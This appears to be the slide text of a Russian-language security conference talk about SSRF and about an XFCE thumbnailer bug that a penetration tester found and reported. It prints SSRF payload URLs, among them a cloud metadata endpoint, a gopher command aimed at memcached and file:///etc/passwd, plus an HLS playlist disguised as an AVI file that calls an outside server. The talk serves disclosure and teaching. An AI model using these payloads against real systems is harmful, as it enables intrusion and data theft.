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#0: Whoami

Murat (@manfromkz)

Blog/channel: https://murat.one, @onebrick

Achievements: OSCP, eWPTXv2, eCPTXv2

Researches: CVE-2020-29139, CVE-2020-29140, CVE-2020-29142, 
CVE-2020-29143, CVE-2021-34187, CVE-2022-29938, 
CVE-2022-29939, CVE-2022-29940

https://murat.one
https://t.me/onebrick


#1: Что такое CVE?

CVE (англ. Common Vulnerabilities and Exposures) — база 
данных общеизвестных уязвимостей информационной 
безопасности. Каждой уязвимости присваивается 
идентификационный номер вида CVE-год-номер, описание и ряд 
общедоступных ссылок с описанием.

Поддержкой CVE занимается организация MITRE. 

Финансированием проекта CVE занимается US-CERT.

https://ru.wikipedia.org/wiki/Common_Vulnerabilities_and_Exposures


#2: База CVE

Поиск CVE - https://cve.mitre.org/cve/search_cve_list.html

https://cve.mitre.org/cve/search_cve_list.html


#3: Что такое SSRF?

SSRF (англ. Server-Side Request Forgery) — отправка 
произвольных запросов от имени сервера.

Примеры:

1. Сайт, позволяющий вставить/загрузить картинку по URL
2. Сайт-анонимайзер
3. Импорт датасетов через URL
4. Скрипт для генерации превьюшек по URL
5. etc.

Атакующий => Уязвимый сервер => Запрос на другой сервер от 
имени уязвимого сервера



#4: В чем вред SSRF?

Очень часто SSRF позволяет отправлять запрос “во 
внутрянку”:

http://127.0.0.1/backups/backup.zip

gopher://127.0.0.1:11211/_%0d%0adelete%20ssrf%0d%0a

http://169.254.169.254/latest/meta-data/

file:///etc/passwd

Gopherus - https://github.com/tarunkant/Gopherus 

https://github.com/tarunkant/Gopherus


#5: С чего все началось?

1. Был получен проект на пентест
2. В проекте есть функционал обработки видео-файлов
3. В остальном функционал обычный CRUD

Логика на вид простая: avi, mpeg, mov, flv, etc. => mp4



#6: Поиск вектора



#7: Найденные материалы

1. FFmpeg HLS vulnerability  - 
https://github.com/swisskyrepo/PayloadsAllTheThings/tree
/master/Upload%20Insecure%20Files/CVE%20Ffmpeg%20HLS

2. TikTok: External SSRF and Local File Read via video 
upload - https://vulners.com/hackerone/H1:1062888 

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/CVE%20Ffmpeg%20HLS
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/CVE%20Ffmpeg%20HLS
https://vulners.com/hackerone/H1:1062888


#8: Первая попытка

1. Создаем test.avi файл с таким содержанием:

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://yourserver.com/anything
#EXT-X-ENDLIST

2. Загружаем на сервер

3. Ждем



#9: Первая попытка. Результат

Получаем DNS/HTTP запросы на наш сервер (Burp Collaborator):



#10: Первая попытка. Финал?

1. Довольный пишу отчет о найденном SSRF
2. Для расширения скоупа, решаю проверить IP, с которого 

прилетел запрос:



#11: Первая попытка. Фейл

IP оказался мой :(



#12: Вторая попытка

GStreamer souphttpsrc 1.18.4 libsoup/2.72.0





#13: Вторая попытка. Payload

Создаю test.mp4 и открываю в Firefox:



#14: Вторая попытка. Бинго



#15: Вторая попытка. Тесты

1. Отработал на Firefox ESR, Kali Linux
2. Отработал на TOR Browser, Kali Linux
3. Не отработал на Firefox, Windows
4. Не отработал на Google Chrome, Windows

Выясняется, что TOR Browser за основу взял Firefox ESR.



#16: Вторая попытка. Hackerone



#17: Вторая попытка. Hackerone. Report





#18: Вторая попытка. Hackerone. Reply



#19: Вторая попытка. Wat?

1. Радостный пишу ответы на вопросы сотрудника TOR-a
2. Проверяю предложенные кейсы
3. И тут прилетает DNS/HTTP запрос при закрытом браузере



#20: Вторая попытка. Фейл

1. Дело не в проекте
2. Дело не в браузере



#21: Третья попытка

1. Дело не в проекте
2. Дело не в браузере

Видимо дело в десктопном менеджере Kali Linux.

По умолчанию в Kali Linux стоит XFCE.



#22: Третья попытка. Kali Linux 2022.2



Создаем файл:



Открываем директорию с файлом:





#23: Третья попытка. Debian 11.4 XFCE



Создаем файл:



Открываем директорию с файлом:





#24: Третья попытка. Report

1. Был создан issue в Gitlab XFCE - 
https://gitlab.xfce.org/xfce/tumbler/-/issues/65

2. Дважды запрошен CVE от MITRE
3. Один раз запрошен CVE от Debian в IRC
4. Написан write-up после фикса бага - 

https://murat.one/?p=187 

https://gitlab.xfce.org/xfce/tumbler/-/issues/65
https://murat.one/?p=187


#25: Третья попытка. Success

1. CVE так и не был присвоен
2. MITRE скорее всего игнорирует, потому что считает 

ответственным Debian
3. Но баг исправлен, польза внесена - success



#26: Выводы

1. Можно сформировать вредоносный mp4 файл и скинуть хакеру
2. Если хакер скачает и откроет директорию с этим mp4, даже 

не открывая сам файл, уйдет HTTP-запрос от имени хакера



Бонус #1:



Бонус #2 (only DNS):



End

Вопросы?

Спасибо за внимание!

Open SysConf’22, Almaty.


